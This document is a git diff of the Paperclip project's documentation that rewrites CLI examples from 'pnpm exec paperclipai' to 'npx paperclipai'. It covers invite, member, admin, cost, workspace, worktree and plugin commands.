+npx paperclipai invite revoke <invite-id>
+npx paperclipai invite show <token>
+npx paperclipai invite accept <token> [--payload-json '{...}']
+npx paperclipai invite onboarding:text <token>
+npx paperclipai join list --company-id <company-id> [--status pending_approval]
+npx paperclipai join approve <request-id> --company-id <company-id>
+npx paperclipai join reject <request-id> --company-id <company-id>
+npx paperclipai join claim-key <request-id> --claim-secret <secret>
+npx paperclipai member list --company-id <company-id>
+npx paperclipai member update <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member role-and-grants <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member permissions <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member archive <member-id> --company-id <company-id> [--payload-json '{...}']
+npx paperclipai admin user list [--query <text>]
+npx paperclipai admin user promote <user-id>
+npx paperclipai admin user demote <user-id>
+npx paperclipai admin user company-access <user-id>
+npx paperclipai admin user company-access:update <user-id> --payload-json '{...}'
```
CLI auth challenge endpoints are also exposed for tooling that needs the raw challenge lifecycle:
```sh
-pnpm exec paperclipai auth challenge create --payload-json '{...}'
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge get <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge approve <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge cancel <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-pnpm exec paperclipai auth revoke-current
+npx paperclipai auth challenge create --payload-json '{...}'
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge get <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge approve <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge cancel <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+npx paperclipai auth revoke-current
```
`--token <challenge-secret>` is still supported for compatibility, but `--token-env` avoids putting challenge secrets in shell history or process arguments.
@@ -790,33 +849,33 @@ pnpm exec paperclipai auth revoke-current
## Instance Settings Commands
```sh
-pnpm exec paperclipai instance scheduler-heartbeats
-pnpm exec paperclipai instance settings:general
-pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
-pnpm exec paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
-pnpm exec paperclipai instance database-backup
+npx paperclipai instance scheduler-heartbeats
+npx paperclipai instance settings:general
+npx paperclipai instance settings:general:update --payload-json '{...}'
+npx paperclipai instance settings:experimental
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance database-backup
```
Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
```sh
-pnpm exec paperclipai sidebar preferences
-pnpm exec paperclipai sidebar preferences:update --payload-json '{...}'
-pnpm exec paperclipai sidebar project-preferences --company-id <company-id>
-pnpm exec paperclipai sidebar project-preferences:update --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai sidebar badges --company-id <company-id>
-pnpm exec paperclipai inbox dismissals --company-id <company-id>
-pnpm exec paperclipai inbox dismiss --company-id <company-id> --payload-json '{"itemKey":"run:<run-id>"}'
-pnpm exec paperclipai board-claim show <token>
-pnpm exec paperclipai board-claim claim <token> [--payload-json '{...}']
-pnpm exec paperclipai openclaw invite-prompt --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai available-skill list
-pnpm exec paperclipai available-skill index
-pnpm exec paperclipai available-skill get <skill-name>
-pnpm exec paperclipai llm agent-configuration
-pnpm exec paperclipai llm agent-configuration:adapter <adapter-type>
-pnpm exec paperclipai llm agent-icons
+npx paperclipai sidebar preferences
+npx paperclipai sidebar preferences:update --payload-json '{...}'
+npx paperclipai sidebar project-preferences --company-id <company-id>
+npx paperclipai sidebar project-preferences:update --company-id <company-id> --payload-json '{...}'
+npx paperclipai sidebar badges --company-id <company-id>
+npx paperclipai inbox dismissals --company-id <company-id>
+npx paperclipai inbox dismiss --company-id <company-id> --payload-json '{"itemKey":"run:<run-id>"}'
+npx paperclipai board-claim show <token>
+npx paperclipai board-claim claim <token> [--payload-json '{...}']
+npx paperclipai openclaw invite-prompt --company-id <company-id> --payload-json '{...}'
+npx paperclipai available-skill list
+npx paperclipai available-skill index
+npx paperclipai available-skill get <skill-name>
+npx paperclipai llm agent-configuration
+npx paperclipai llm agent-configuration:adapter <adapter-type>
+npx paperclipai llm agent-icons
```
Hermes gateway uses the generic invite/join commands above rather than
@@ -829,101 +888,101 @@ commands. See [HERMES_GATEWAY_ONBOARDING.md](./HERMES_GATEWAY_ONBOARDING.md).
## Adapter, Asset, And Skill Commands
```sh
-pnpm exec paperclipai adapter list
-pnpm exec paperclipai adapter install --payload-json '{"packageName":"@scope/adapter","version":"1.2.3"}'
-pnpm exec paperclipai adapter get <adapter-type>
-pnpm exec paperclipai adapter update <adapter-type> --payload-json '{"disabled":true}'
-pnpm exec paperclipai adapter override <adapter-type> --payload-json '{"paused":true}'
-pnpm exec paperclipai adapter reload <adapter-type>
-pnpm exec paperclipai adapter reinstall <adapter-type>
-pnpm exec paperclipai adapter delete <adapter-type>
-pnpm exec paperclipai adapter config-schema <adapter-type>
-pnpm exec paperclipai adapter ui-parser <adapter-type>
-pnpm exec paperclipai adapter models <adapter-type> --company-id <company-id> [--refresh] [--environment-id <id>]
-pnpm exec paperclipai adapter model-profiles <adapter-type> --company-id <company-id>
-pnpm exec paperclipai adapter detect-model <adapter-type> --company-id <company-id>
-pnpm exec paperclipai adapter test-environment <adapter-type> --company-id <company-id> --payload-json '{...}'
+npx paperclipai adapter list
+npx paperclipai adapter install --payload-json '{"packageName":"@scope/adapter","version":"1.2.3"}'
+npx paperclipai adapter get <adapter-type>
+npx paperclipai adapter update <adapter-type> --payload-json '{"disabled":true}'
+npx paperclipai adapter override <adapter-type> --payload-json '{"paused":true}'
+npx paperclipai adapter reload <adapter-type>
+npx paperclipai adapter reinstall <adapter-type>
+npx paperclipai adapter delete <adapter-type>
+npx paperclipai adapter config-schema <adapter-type>
+npx paperclipai adapter ui-parser <adapter-type>
+npx paperclipai adapter models <adapter-type> --company-id <company-id> [--refresh] [--environment-id <id>]
+npx paperclipai adapter model-profiles <adapter-type> --company-id <company-id>
+npx paperclipai adapter detect-model <adapter-type> --company-id <company-id>
+npx paperclipai adapter test-environment <adapter-type> --company-id <company-id> --payload-json '{...}'
```
```sh
-pnpm exec paperclipai asset image:upload --company-id <company-id> --file ./image.png [--namespace docs] [--alt "..."]
-pnpm exec paperclipai asset logo:upload --company-id <company-id> --file ./logo.svg
-pnpm exec paperclipai asset content <asset-id> --out ./asset.bin
+npx paperclipai asset image:upload --company-id <company-id> --file ./image.png [--namespace docs] [--alt "..."]
+npx paperclipai asset logo:upload --company-id <company-id> --file ./logo.svg
+npx paperclipai asset content <asset-id> --out ./asset.bin
```
```sh
-pnpm exec paperclipai skill list --company-id <company-id>
-pnpm exec paperclipai skill get <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill file <skill-id> --company-id <company-id> [--path SKILL.md]
-pnpm exec paperclipai skill create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill file:update <skill-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill import --company-id <company-id> --payload-json '{"source":"github:owner/repo/path"}'
-pnpm exec paperclipai skill scan-projects --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill update-status <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill install-update <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill delete <skill-id> --company-id <company-id>
+npx paperclipai skill list --company-id <company-id>
+npx paperclipai skill get <skill-id> --company-id <company-id>
+npx paperclipai skill file <skill-id> --company-id <company-id> [--path SKILL.md]
+npx paperclipai skill create --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill file:update <skill-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill import --company-id <company-id> --payload-json '{"source":"github:owner/repo/path"}'
+npx paperclipai skill scan-projects --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill update-status <skill-id> --company-id <company-id>
+npx paperclipai skill install-update <skill-id> --company-id <company-id>
+npx paperclipai skill delete <skill-id> --company-id <company-id>
```
## Cost, Finance, And Budget Commands
```sh
-pnpm exec paperclipai cost summary --company-id <company-id>
-pnpm exec paperclipai cost by-agent --company-id <company-id>
-pnpm exec paperclipai cost by-agent-model --company-id <company-id>
-pnpm exec paperclipai cost by-provider --company-id <company-id>
-pnpm exec paperclipai cost by-biller --company-id <company-id>
-pnpm exec paperclipai cost by-project --company-id <company-id>
-pnpm exec paperclipai cost window-spend --company-id <company-id>
-pnpm exec paperclipai cost quota-windows --company-id <company-id>
-pnpm exec paperclipai cost issue <issue-id>
-pnpm exec paperclipai cost event:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai cost summary --company-id <company-id>
+npx paperclipai cost by-agent --company-id <company-id>
+npx paperclipai cost by-agent-model --company-id <company-id>
+npx paperclipai cost by-provider --company-id <company-id>
+npx paperclipai cost by-biller --company-id <company-id>
+npx paperclipai cost by-project --company-id <company-id>
+npx paperclipai cost window-spend --company-id <company-id>
+npx paperclipai cost quota-windows --company-id <company-id>
+npx paperclipai cost issue <issue-id>
+npx paperclipai cost event:create --company-id <company-id> --payload-json '{...}'
```
```sh
-pnpm exec paperclipai finance event:create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai finance events --company-id <company-id>
-pnpm exec paperclipai finance summary --company-id <company-id>
-pnpm exec paperclipai finance by-biller --company-id <company-id>
-pnpm exec paperclipai finance by-kind --company-id <company-id>
-pnpm exec paperclipai budget overview --company-id <company-id>
-pnpm exec paperclipai budget policy:upsert --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai budget company:update --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai budget agent:update <agent-id> --payload-json '{...}'
-pnpm exec paperclipai budget incident:resolve <incident-id> --company-id <company-id> [--payload-json '{...}']
+npx paperclipai finance event:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai finance events --company-id <company-id>
+npx paperclipai finance summary --company-id <company-id>
+npx paperclipai finance by-biller --company-id <company-id>
+npx paperclipai finance by-kind --company-id <company-id>
+npx paperclipai budget overview --company-id <company-id>
+npx paperclipai budget policy:upsert --company-id <company-id> --payload-json '{...}'
+npx paperclipai budget company:update --company-id <company-id> --payload-json '{...}'
+npx paperclipai budget agent:update <agent-id> --payload-json '{...}'
+npx paperclipai budget incident:resolve <incident-id> --company-id <company-id> [--payload-json '{...}']
```
## Workspace And Environment Commands
```sh
-pnpm exec paperclipai workspace list --company-id <company-id>
-pnpm exec paperclipai workspace get <execution-workspace-id>
-pnpm exec paperclipai workspace close-readiness <execution-workspace-id>
-pnpm exec paperclipai workspace operations <execution-workspace-id>
-pnpm exec paperclipai workspace update <execution-workspace-id> --payload-json '{...}'
-pnpm exec paperclipai workspace runtime-service <execution-workspace-id> start --payload-json '{...}'
-pnpm exec paperclipai workspace runtime-command <execution-workspace-id> run --payload-json '{...}'
+npx paperclipai workspace list --company-id <company-id>
+npx paperclipai workspace get <execution-workspace-id>
+npx paperclipai workspace close-readiness <execution-workspace-id>
+npx paperclipai workspace operations <execution-workspace-id>
+npx paperclipai workspace update <execution-workspace-id> --payload-json '{...}'
+npx paperclipai workspace runtime-service <execution-workspace-id> start --payload-json '{...}'
+npx paperclipai workspace runtime-command <execution-workspace-id> run --payload-json '{...}'
```
```sh
-pnpm exec paperclipai environment list --company-id <company-id>
-pnpm exec paperclipai environment capabilities --company-id <company-id>
-pnpm exec paperclipai environment create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai environment get <environment-id>
-pnpm exec paperclipai environment leases <environment-id>
-pnpm exec paperclipai environment lease <lease-id>
-pnpm exec paperclipai environment update <environment-id> --payload-json '{...}'
-pnpm exec paperclipai environment delete <environment-id>
-pnpm exec paperclipai environment probe <environment-id>
-pnpm exec paperclipai environment probe-config --company-id <company-id> --payload-json '{...}'
+npx paperclipai environment list --company-id <company-id>
+npx paperclipai environment capabilities --company-id <company-id>
+npx paperclipai environment create --company-id <company-id> --payload-json '{...}'
+npx paperclipai environment get <environment-id>
+npx paperclipai environment leases <environment-id>
+npx paperclipai environment lease <lease-id>
+npx paperclipai environment update <environment-id> --payload-json '{...}'
+npx paperclipai environment delete <environment-id>
+npx paperclipai environment probe <environment-id>
+npx paperclipai environment probe-config --company-id <company-id> --payload-json '{...}'
```
```sh
-pnpm exec paperclipai project-workspace list <project-id>
-pnpm exec paperclipai project-workspace create <project-id> --payload-json '{...}'
-pnpm exec paperclipai project-workspace update <project-id> <workspace-id> --payload-json '{...}'
-pnpm exec paperclipai project-workspace delete <project-id> <workspace-id>
-pnpm exec paperclipai project-workspace runtime-service <project-id> <workspace-id> restart --payload-json '{...}'
-pnpm exec paperclipai project-workspace runtime-command <project-id> <workspace-id> run --payload-json '{...}'
+npx paperclipai project-workspace list <project-id>
+npx paperclipai project-workspace create <project-id> --payload-json '{...}'
+npx paperclipai project-workspace update <project-id> <workspace-id> --payload-json '{...}'
+npx paperclipai project-workspace delete <project-id> <workspace-id>
+npx paperclipai project-workspace runtime-service <project-id> <workspace-id> restart --payload-json '{...}'
+npx paperclipai project-workspace runtime-command <project-id> <workspace-id> run --payload-json '{...}'
```
## Plugin Commands
@@ -931,36 +990,36 @@ pnpm exec paperclipai project-workspace runtime-command <project-id> <workspace-
Existing plugin lifecycle commands remain available: `plugin init`, `list`, `install`, `uninstall`, `enable`, `disable`, `inspect`, and `examples`.
```sh
-pnpm exec paperclipai plugin ui-contributions
-pnpm exec paperclipai plugin tools
-pnpm exec paperclipai plugin tool:execute --payload-json '{...}'
-pnpm exec paperclipai plugin health <plugin-id>
-pnpm exec paperclipai plugin logs <plugin-id>
-pnpm exec paperclipai plugin upgrade <plugin-id>
-pnpm exec paperclipai plugin config <plugin-id> --company-id <company-id>
-pnpm exec paperclipai plugin config:set <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
-pnpm exec paperclipai plugin config:test <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
-pnpm exec paperclipai plugin jobs <plugin-id>
-pnpm exec paperclipai plugin job:runs <plugin-id> <job-id>
-pnpm exec paperclipai plugin job:trigger <plugin-id> <job-id> [--payload-json '{...}']
-pnpm exec paperclipai plugin webhook <plugin-id> <endpoint-key> [--payload-json '{...}']
-pnpm exec paperclipai plugin dashboard <plugin-id>
-pnpm exec paperclipai plugin bridge:data <plugin-id> --payload-json '{...}'
-pnpm exec paperclipai plugin bridge:action <plugin-id> --payload-json '{...}'
-pnpm exec paperclipai plugin bridge:stream <plugin-id> <channel> [--duration-ms 10000]
-pnpm exec paperclipai plugin data <plugin-id> <key> --payload-json '{...}'
-pnpm exec paperclipai plugin action <plugin-id> <key> --payload-json '{...}'
-pnpm exec paperclipai plugin local-folders <plugin-id> --company-id <company-id>
-pnpm exec paperclipai plugin local-folder:status <plugin-id> <folder-key> --company-id <company-id>
-pnpm exec paperclipai plugin local-folder:validate <plugin-id> <folder-key> --company-id <company-id> [--payload-json '{...}']
-pnpm exec paperclipai plugin local-folder:set <plugin-id> <folder-key> --company-id <company-id> --payload-json '{...}'
+npx paperclipai plugin ui-contributions
+npx paperclipai plugin tools
+npx paperclipai plugin tool:execute --payload-json '{...}'
+npx paperclipai plugin health <plugin-id>
+npx paperclipai plugin logs <plugin-id>
+npx paperclipai plugin upgrade <plugin-id>
+npx paperclipai plugin config <plugin-id> --company-id <company-id>
+npx paperclipai plugin config:set <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
+npx paperclipai plugin config:test <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
+npx paperclipai plugin jobs <plugin-id>
+npx paperclipai plugin job:runs <plugin-id> <job-id>
+npx paperclipai plugin job:trigger <plugin-id> <job-id> [--payload-json '{...}']
+npx paperclipai plugin webhook <plugin-id> <endpoint-key> [--payload-json '{...}']
+npx paperclipai plugin dashboard <plugin-id>
+npx paperclipai plugin bridge:data <plugin-id> --payload-json '{...}'
+npx paperclipai plugin bridge:action <plugin-id> --payload-json '{...}'
+npx paperclipai plugin bridge:stream <plugin-id> <channel> [--duration-ms 10000]
+npx paperclipai plugin data <plugin-id> <key> --payload-json '{...}'
+npx paperclipai plugin action <plugin-id> <key> --payload-json '{...}'
+npx paperclipai plugin local-folders <plugin-id> --company-id <company-id>
+npx paperclipai plugin local-folder:status <plugin-id> <folder-key> --company-id <company-id>
+npx paperclipai plugin local-folder:validate <plugin-id> <folder-key> --company-id <company-id> [--payload-json '{...}']
+npx paperclipai plugin local-folder:set <plugin-id> <folder-key> --company-id <company-id> --payload-json '{...}'
```
Feedback traces can be fetched directly by ID when automating export workflows:
```sh
-pnpm exec paperclipai feedback trace <trace-id>
-pnpm exec paperclipai feedback bundle <trace-id>
+npx paperclipai feedback trace <trace-id>
+npx paperclipai feedback bundle <trace-id>
```
## Heartbeat Command
@@ -968,7 +1027,7 @@ pnpm exec paperclipai feedback bundle <trace-id>
`heartbeat run` now also supports context/api-key options and uses the shared client stack:
```sh
-pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100] [--api-key <token>]
+npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100] [--api-key <token>]
```
## Local Storage Defaults
diff --git a/doc/DATABASE.md b/doc/DATABASE.md
index 18a7208f20..7adb43eb29 100644
--- a/doc/DATABASE.md
+++ b/doc/DATABASE.md
@@ -267,7 +267,7 @@ pnpm paperclipai configure --section secrets
Inline secret migration command:
```sh
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
# direct database maintenance fallback
pnpm secrets:migrate-inline-env --apply
diff --git a/doc/DEPLOYMENT-MODES.md b/doc/DEPLOYMENT-MODES.md
index 66147b0bd8..8635e3a036 100644
--- a/doc/DEPLOYMENT-MODES.md
+++ b/doc/DEPLOYMENT-MODES.md
@@ -87,8 +87,8 @@ Examples:
```sh
pnpm paperclipai onboard --yes
-pnpm paperclipai onboard --yes --bind lan
-pnpm paperclipai run --bind tailnet
+npx paperclipai onboard --yes --bind lan
+npx paperclipai run --bind tailnet
```
`configure --section server` follows the same interactive behavior.
diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.md
index d446e818a8..fe0f772d44 100644
--- a/doc/DEVELOPING.md
+++ b/doc/DEVELOPING.md
@@ -230,7 +230,7 @@ pnpm dev --authenticated-private
Allow additional private hostnames (for example custom Tailscale hostnames):
```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
```
## Test Commands
@@ -434,7 +434,7 @@ Instead, create a repo-local Paperclip config plus an isolated instance for the
```sh
paperclipai worktree init
# or create the git worktree and initialize it in one step:
-pnpm paperclipai worktree:make paperclip-pr-432
+npx paperclipai worktree:make paperclip-pr-432
```
This command:
@@ -507,7 +507,7 @@ eval "$(paperclipai worktree env)"
### Worktree CLI Reference
-**`pnpm paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
+**`npx paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
| Option | Description |
|---|---|
@@ -537,7 +537,7 @@ Repair an already-created repo-managed worktree and reseed its isolated instance
```sh
cd /path/to/paperclip/.paperclip/worktrees/PAP-884-ai-commits-component
-pnpm exec paperclipai worktree init --force --seed-mode minimal \
+npx paperclipai worktree init --force --seed-mode minimal \
--name PAP-884-ai-commits-component \
--from-config ~/.paperclip/instances/default/config.json
```
@@ -546,7 +546,7 @@ That rewrites the worktree-local `.paperclip/config.json` + `.paperclip/.env`, r
For an already-created worktree where you want the CLI to decide whether to rebuild missing worktree metadata or just reseed the isolated DB, use `worktree repair`.
-**`pnpm paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
+**`npx paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
| Option | Description |
|---|---|
@@ -567,13 +567,14 @@ cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-i
pnpm paperclipai worktree repair
# From the primary checkout, create or repair a linked worktree for a branch under .paperclip/worktrees/.
+# This command repairs the local checkout, so run the checked-out CLI through the direct-exec form.
cd /path/to/paperclip
-pnpm paperclipai worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
+node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
```
For an already-created worktree where you want to keep the existing repo-local config/env and only overwrite the isolated database, use `worktree reseed` instead. Stop the target worktree's Paperclip server first so the command can replace the DB safely.
-**`pnpm paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
+**`npx paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
| Option | Description |
|---|---|
@@ -591,7 +592,7 @@ Examples:
```sh
# From the main repo, reseed a worktree from the current default/master instance.
cd /path/to/paperclip
-pnpm paperclipai worktree reseed \
+npx paperclipai worktree reseed \
--from current \
--to PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat \
--seed-mode full \
@@ -599,12 +600,12 @@ pnpm paperclipai worktree reseed \
# From inside a worktree, reseed it from the default instance config.
cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
-pnpm paperclipai worktree reseed \
+npx paperclipai worktree reseed \
--from-instance default \
--seed-mode full
```
-**`pnpm paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
+**`npx paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
| Option | Description |
|---|---|
@@ -623,12 +624,12 @@ pnpm paperclipai worktree reseed \
Examples:
```sh
-pnpm paperclipai worktree:make paperclip-pr-432
-pnpm paperclipai worktree:make my-feature --start-point origin/main
-pnpm paperclipai worktree:make experiment --no-seed
+npx paperclipai worktree:make paperclip-pr-432
+npx paperclipai worktree:make my-feature --start-point origin/main
+npx paperclipai worktree:make experiment --no-seed
```
-**`pnpm paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
+**`npx paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
| Option | Description |
|---|---|
@@ -640,7 +641,7 @@ Examples:
```sh
pnpm paperclipai worktree env
pnpm paperclipai worktree env --json
-eval "$(pnpm paperclipai worktree env)"
+eval "$(npx paperclipai worktree env)"
```
For project execution worktrees, Paperclip can also run a project-defined provision command after it creates or reuses an isolated git worktree. Configure this on the project's execution workspace policy (`workspaceStrategy.provisionCommand`). The command runs inside the derived worktree and receives `PAPERCLIP_WORKSPACE_*`, `PAPERCLIP_PROJECT_ID`, `PAPERCLIP_AGENT_ID`, and `PAPERCLIP_ISSUE_*` environment variables so each repo can bootstrap itself however it wants.
@@ -869,15 +870,15 @@ Paperclip CLI now includes client-side control-plane commands in addition to set
Quick examples:
```sh
-pnpm exec paperclipai issue list --company-id <company-id>
-pnpm exec paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
-pnpm exec paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
+npx paperclipai issue list --company-id <company-id>
+npx paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
+npx paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
```
Set defaults once with context profiles:
```sh
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
+npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
```
Then run commands without repeating flags:
@@ -961,4 +962,4 @@ Networking behavior for this smoke script:
- auto-detects and prints a Paperclip host URL reachable from inside OpenClaw Docker
- default container-side host alias is `host.docker.internal` (override with `PAPERCLIP_HOST_FROM_CONTAINER` / `PAPERCLIP_HOST_PORT`)
-- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `pnpm exec paperclipai allowed-hostname host.docker.internal` and restart Paperclip
+- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `npx paperclipai allowed-hostname host.docker.internal` and restart Paperclip
diff --git a/doc/HERMES_GATEWAY_ONBOARDING.md b/doc/HERMES_GATEWAY_ONBOARDING.md
index 29d9385516..257a067f88 100644
--- a/doc/HERMES_GATEWAY_ONBOARDING.md
+++ b/doc/HERMES_GATEWAY_ONBOARDING.md
@@ -79,9 +79,9 @@ The UI prompt points Hermes at the same machine-readable onboarding endpoints:
For CLI-driven setup, create and inspect the invite directly:
```sh
-pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
-pnpm exec paperclipai invite show <token>
-pnpm exec paperclipai invite onboarding:text <token>
+npx paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
+npx paperclipai invite show <token>
+npx paperclipai invite onboarding:text <token>
```
Hermes should submit a join request with `requestType: "agent"` and
@@ -119,14 +119,14 @@ After Hermes submits the join request:
2. Approve it from the board UI, or use:
```sh
- pnpm exec paperclipai join list --company-id <company-id> --status pending_approval
- pnpm exec paperclipai join approve <request-id> --company-id <company-id>
+ npx paperclipai join list --company-id <company-id> --status pending_approval
+ npx paperclipai join approve <request-id> --company-id <company-id>
```
3. Hermes claims the one-time agent API key:
```sh
- pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
+ npx paperclipai join claim-key <request-id> --claim-secret <secret>
```
4. Store the claimed Paperclip key in Hermes runtime state or secrets. The claim
@@ -182,7 +182,7 @@ Use these entry points depending on who is driving setup:
onboarding prompt.
- Invite API: `GET /api/invites/:token/onboarding.txt` for the generated
llm.txt-style setup instructions.
-- CLI invite flow: `pnpm exec paperclipai invite create`, `invite show`,
+- CLI invite flow: `npx paperclipai invite create`, `invite show`,
`invite onboarding:text`, `join approve`, and `join claim-key`.
- Smoke helpers: `pnpm smoke:hermes-gateway-e2e` for fresh-state Docker
verification and `pnpm smoke:hermes-gateway-join` for an already-running
diff --git a/doc/design/AGENT-SESSIONS.md b/doc/design/AGENT-SESSIONS.md
index 5d83784689..b3f7f84f3f 100644
--- a/doc/design/AGENT-SESSIONS.md
+++ b/doc/design/AGENT-SESSIONS.md
@@ -44,7 +44,7 @@ Hold every session to these five, regardless of size:
## Reviewing like a designer
- **Contact sheet**: the diff images under `tests/storybook-visual/test-results/` are your primary review surface; ask the agent to assemble them into a browsable before/after page (or use `npx playwright show-report` from `tests/storybook-visual/`).
-- **Live test drive**: for big changes, ask for a running instance from the worktree — `pnpm paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
+- **Live test drive**: for big changes, ask for a running instance from the worktree — `npx paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
- **Side-by-side Storybook**: old on one port, new on another (`pnpm storybook` in each checkout), flip tabs.
- Trust your eyes over the agent's summary. If something looks wrong, say so plainly ("the text in the red boxes is illegible") — vague feedback is fine, the screenshots give the agent the precision.
diff --git a/doc/plugins/PLUGIN_SPEC.md b/doc/plugins/PLUGIN_SPEC.md
index 31a0154707..9b0bcc0d25 100644
--- a/doc/plugins/PLUGIN_SPEC.md
+++ b/doc/plugins/PLUGIN_SPEC.md
@@ -245,10 +245,10 @@ This on-disk model is the reason the current implementation expects a persistent
Paperclip should add CLI commands:
- `pnpm paperclipai plugin list`
-- `pnpm paperclipai plugin install <package[@version]>`
-- `pnpm paperclipai plugin uninstall <plugin-id>`
-- `pnpm paperclipai plugin upgrade <plugin-id> [version]`
-- `pnpm paperclipai plugin doctor <plugin-id>`
+- `npx paperclipai plugin install <package[@version]>`
+- `npx paperclipai plugin uninstall <plugin-id>`
+- `npx paperclipai plugin upgrade <plugin-id> [version]`
+- `npx paperclipai plugin doctor <plugin-id>`
These commands are instance-level operations.
@@ -1512,7 +1512,7 @@ When a plugin is uninstalled, the host must handle plugin-owned data explicitly.
3. Plugin-owned data (`plugin_state`, `plugin_entities`, `plugin_jobs`, `plugin_job_runs`, `plugin_webhook_deliveries`, `plugin_config`) is retained for a configurable grace period (default: 30 days).
4. During the grace period, the operator can reinstall the same plugin and recover its state.
5. After the grace period, the host purges all plugin-owned data for the uninstalled plugin.
-6. The operator may force-purge immediately via CLI: `pnpm paperclipai plugin purge <plugin-id>`.
+6. The operator may force-purge immediately via CLI: `npx paperclipai plugin purge <plugin-id>`.
### 25.2 Upgrade Data Considerations
@@ -1676,7 +1676,7 @@ expect(data.syncedCount).toBeGreaterThan(0);
For developing a plugin against a running Paperclip instance:
-- The operator installs the plugin from a local path: `pnpm paperclipai plugin install ./path/to/plugin`
+- The operator installs the plugin from a local path: `npx paperclipai plugin install ./path/to/plugin`
- The host watches the plugin directory for changes and restarts the worker on rebuild.
